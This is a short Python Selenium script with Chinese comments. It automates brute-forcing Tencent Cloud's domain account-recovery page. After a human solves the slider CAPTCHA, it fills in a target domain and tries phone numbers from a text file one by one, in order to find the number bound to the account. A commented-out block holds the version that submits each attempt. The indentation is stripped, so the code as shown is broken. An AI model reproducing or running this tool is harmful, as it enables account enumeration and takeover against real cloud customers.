腾讯云域名找回账号,手动过滑块验证码(5秒时间),自动填域名,自动填txt文件内每行手机号进行爆破
#coding=utf-8
import time
from selenium.webdriver.common.by import By
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
driver = webdriver.Chrome()
url = "https://cloud.tencent.com/account/recover"
driver.get(url)
yuming = driver.find_element(By.XPATH, "/html/body/div[1]/div[2]/div/div[1]/div[3]/div/div[4]").click()
loginpasswd = driver.find_element(By.XPATH, "//input").send_keys("jiuhu.asia")
time.sleep(5)
def buttonclick(shoujihao,end='\n'):
shoujihaoma = driver.find_element(By.XPATH, "//input").send_keys(shoujihao)
time.sleep(0.5)
'''
buttonsend = driver.find_element(By.XPATH, "/html/body/div[1]/div[2]/div/div/form/div[3]/button/span")
driver.execute_script("arguments[0].click();", buttonsend)
'''
shoujihaoma = driver.find_element(By.XPATH, "//input").send_keys(Keys.CONTROL,'a')
shoujihaoma = driver.find_element(By.XPATH, "//input").send_keys(Keys.BACK_SPACE)
'''
#非函数操作
f = open("sjh.txt")
line = f.readline()
while line:
shoujihaoma = driver.find_element(By.XPATH, "//input").send_keys(line)
time.sleep(1)
buttonsend = driver.find_element(By.XPATH, "/html/body/div[1]/div[2]/div/div/form/div[3]/button/span")
driver.execute_script("arguments[0].click();", buttonsend)
time.sleep(1)
shoujihaoma = driver.find_element(By.XPATH, "//input").send_keys(Keys.CONTROL, 'a')
shoujihaoma = driver.find_element(By.XPATH, "//input").send_keys(Keys.BACK_SPACE)
line = f.readline()
'''
f = open("sjh.txt")
line = f.readline()
while line:
buttonclick(line, end='')
line = f.readline()
print(f'{line}')
注:需要在python文件同目录下的sjh.txt,需手动更改域名